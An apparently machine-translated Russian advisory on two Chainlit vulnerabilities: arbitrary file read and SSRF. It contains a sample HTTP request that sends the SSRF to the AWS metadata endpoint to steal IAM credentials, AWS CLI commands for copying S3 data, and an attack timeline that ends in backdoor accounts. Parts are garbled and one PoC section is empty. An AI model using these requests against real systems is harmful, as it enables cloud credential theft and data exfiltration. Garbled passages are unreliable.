I. Принципы уязвимости
1.1 Обзор системы Chainlit Framework
Chainlit - популярная программа с открытым исходным кодом для создания разговорных чат-ботов.Система искусственного интеллектаPython стал важным инструментом для создания LLM-приложений. Согласно статистике Python Software Foundation:
- Еженедельные загрузки:: Более 220 000 раз
- Кумулятивные загрузки:: Более 7,3 млн.
- основное приложение:: Быстрая разработка генеративных приложений ИИ, чат-интерфейс LLM, разработка агентских систем
- Основные характеристики: Обеспечение веб-интерфейса, управление сообщениями, управление сеансами, загрузка файлов и т.д.
Основная архитектура фреймворка Chainlit включает в себя:
- Фронтальный веб-интерфейс (на основе React)
- Внутренние службы Flask/FastAPI
- Уровень данных SQLAlchemy ORM
- Модуль обработки и загрузки файлов
- Система управления проектами и сессиями
Из-за высокой простоты использования и повсеместного внедрения уязвимости в безопасности фреймворка Chainlit имеют огромное значение.
1.2 Уязвимость ChainLeakкомбинаторика
Команда исследователей Zafran Security обнаружила и ответственно раскрыла две опасные уязвимости, известные под общим названием "ChainLeak" в 2025 году:
| Номер уязвимости | Оценка по шкале CVSS | Тип уязвимости | серьезность |
|---|---|---|---|
| CVE-2026-22218 | 7.1 | Произвольное чтение файлов | высокий риск |
| CVE-2026-22219 | 8.3 | SSRF (подделка запросов на стороне сервера) | чрезвычайно высокий риск |
Ключевая особенность этих двух уязвимостей заключается в следующем:
- Обход аутентификации:: Требуется аутентифицированный злоумышленник, но его можно получить с помощью социального работника или слабого пароля.
- комбо-атака:: Две уязвимости могут быть использованы в тандеме, чтобы вызвать цепь событий.
- кража данных: Может привести к утечке ключей API, учетных данных, исходного кода.
- Повышение привилегий:: Прорыв от уровня приложений к уровню инфраструктуры
- траверс:: Устойчивое проникновение в сети организаций-жертв
1.3 Затрагиваемые сценарии развертывания
Фреймворк Chainlit обычно используется в следующих средах развертывания:
В частности, риски наиболее высоки при следующих сценариях:
- облачное развертывание: AWS EC2/ECS, Azure App Service, Google Cloud Run
- конфиденциальные данные: Интеграция ключа API OpenAI, учетных данных базы данных, ключа внутреннего сервиса
- Бэкэнд SQLAlchemy: Развертывание с использованием SQLite в качестве базы данных
- слабый контроль доступа:: Неспособность внедрить строгие механизмы аутентификации
II. Подробный анализ уязвимостей
2.1 CVE-2026-22218: Уязвимость произвольного чтения файлов
Принципы уязвимости
затронутая конечная точка: /project/element Процесс обновления
первопричина:: Отсутствие проверки ввода для полей управления пользователя
условие срабатывания:: Аутентифицированные злоумышленники
Процесс нападения.
Для этого исследователи прочитали /proc/self/environ Успешно извлечено:
- Ключ API OpenAI
- строка подключения к базе данных
- Учетные данные доступа к AWS
- Сторонние ключи обслуживания
- Адрес внутренней конечной точки API
2.2 CVE-2026-22219. Уязвимость SSRF
Принципы уязвимости
затронутая конечная точка: /project/element Процесс обновления (SQLAlchemy Backend)
первопричина: URL-адрес, введенный пользователем, не прошел проверку подлинности
условие срабатыванияАутентифицированный злоумышленник + конфигурация бэкенда SQLAlchemy
Оценка по шкале CVSS: 8.3 (очень высокий риск)
Процесс атаки SSRF.
В тестовой среде злоумышленник может попытаться получить доступ:
| цели | адрес | использовать | экспозиции |
|---|---|---|---|
| Метаданные AWS | http://169.254.169.254/latest/meta-data | Получение роли IAM | очень высокий |
| Учетные данные безопасности AWS | http://169.254.169.254/…/security-credentials/ | временный ключ | очень высокий |
| Google GCP | http://metadata.google.internal/... | Учетная запись службы GCP | очень высокий |
| Внутренняя база данных | http://db.internal:5432 | Сканирование базы данных | ваш (почетный) |
| Кэш Redis | http://redis.internal:6379 | отравление кэша | ваш (почетный) |
| внутренний API | http://api.internal:8080/admin | Повышение привилегий | ваш (почетный) |
Уязвимость наиболее опасна, когда Chainlit работает на облачном сервере (например, AWS):
# Шаг 1: Получение имени роли IAM
GET /proc/self/environ → чтение переменных окружения из Chainlit
→ Узнайте информацию об экземпляре EC2
# Шаг 2: Доступ к метаданным через SSRF
POST /project/element → {url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}.
→ Сервер Chainlit отправляет запрос от имени злоумышленника
# Шаг 3: Получение временных учетных данных AWS
Ответ.
{
"AccessKeyId": "ASIAXXX...",
"SecretAccessKey": "...",
"SessionToken": "...",
"Срок действия": "...".
}
# Шаг 4: Использование учетных данных для доступа к ресурсам AWS
aws s3 ls -access-key ASIAXXX... -secret-key ...
aws rds describe-db-instances
aws ec2 describe-instances
Влияние уязвимости:
- Утечка содержимого ведра хранилища S3
- Управляемая база данных RDS
- Захват критически важных бизнес-систем
- Полное выпадение аккаунта AWS
2.3 Атаки на цепочку уязвимостей
Совместное использование этих двух эксплойтов создает еще более мощную и разрушительную силу:
Процесс атаки по цепочке уязвимостей.
"Эти две уязвимости в Chainlit могут быть использованы в комбинации для компрометации конфиденциальных данных, повышения привилегий и перемещения внутри системы. Как только злоумышленник получает доступ на чтение к произвольным файлам на сервере, онИИПосле этого безопасность приложения быстро нарушается".
III. Демонстрация уязвимостей и атак
3.1 CVE-2026-22218 Чтение POC из любого файла
Роб
3.2 CVE-2026-22219 SSRF Vulnerability POC
Демонстрация HTTP-запроса
# Шаг 1: Войдите в приложение Chainlit
# Шаг 2: Получение учетных данных безопасности AWS
POST /api/project/element HTTP/1.1
Хост: vulnerable-chainlit.app.com
Авторизация: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/my-instance-profile- роль",
"method": "GET"
}
# Ответ: 200 OK
{
"статус": 200.
"content":"{\"Code\":\"Success\",\ "LastUpdated\":\"2025-12-10T12:00:00Z\",\"Type\":\ "AWS-HMAC\",\"AccessKeyId\":\"ASIAXXXXXXXXXXX\",\ "SecretAccessKey\":\"pLWXXXXXXXXXXXXXXXXXXXXXXXXX\",\"Token\":\ "AQoDYXdzEPT//wXXXXXXXXXXXX...\",\"Expiration\":\"2025-12- 10T18:00:00Z\"}",
"хранится": верно,
"session_id": "sess_def456"
}
3.3 Демонстрация реальных сценариев атак
взять:: Атака на приложение Chainlit, развернутое на AWS
Временные рамки.
Минута T+0: Злоумышленники получают доступ к учетным записям со слабым паролем (admin/admin123)
└─ Социальные работники с помощью фишинговых писем
T+2 мин: Чтение /proc/self/environ с CVE-2026-22218
└─ Получение: AWS_ACCESS_KEY_ID, DATABASE_URL, OPENAI_API_KEY
T+4 минуты: Чтение файлов .env
└─ Получение: пароль базы данных, другие ключи API
T+6 мин: Доступ к метаданным AWS через SSRF с использованием CVE-2026-22219
└─ Цель: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Т+8 минут: Получение временных учетных данных безопасности AWS
└─ AccessKeyId, SecretAccessKey, SessionToken, Expiration
T+10 мин: Настройка AWS CLI на использование приобретенных учетных данных
└─ aws configure -access-key XXXX -secret-key YYYY
T+12 минут: Перечислите все ведра хранения S3 в организации
└─ aws s3 ls
T+15 мин: Загрузка конфиденциальных данных (исходный код, конфигурация, пользовательские данные) из S3
└─ aws s3 cp s3://prod-backups/ . /backups/ -recursive
T+20 минут: доступ к базе данных RDS
└─ Экспорт таблиц пользователей, форм заказов, конфиденциальных данных клиентов
Т+25 минут: Поиск и доступ к другим ресурсам AWS
└─ Лямбда-функции, DynamoDB, управление ключами, CloudFormation
T+30 минут: Создание учетных записей бэкдоров и механизмов стойкости
└─ Создание нового пользователя IAM, Добавление ключа, Изменение группы безопасности
Т+45 минут: полное падение
└─ Злоумышленники могут получить долгосрочный контроль над AWS-средой жертвы.
IV. Рекомендуемые программы защиты
аварийный ремонт
- Обновление до версии 2.9.4 и выше
pip install -upgrade chainlit>=2.9.4
- проверка версии
python -c "import chainlit; print(chainlit.__version__)"
# Требуется >= 2.9.4
V. Справочные цитаты
источник (информации и т.д.)
[1] нвд - cve-2026-22218
https://nvd.nist.gov/vuln/detail/CVE-2026-22218
[2] нвд - cve-2026-22219
https://nvd.nist.gov/vuln/detail/CVE-2026-22219
[3] Zafran Security - обнаружение уязвимости ChainLeak
https://www.zafransecurity.com/chainlit-vulnerabilities
[4] Официальная документация Chainlit
https://docs.chainlit.io/get-started/overview
Оригинальная статья написана Chief Security Officer, при воспроизведении просьба указывать: https://www.cncso.com/ru/chainlit-ai-framework-data-leakage.html.





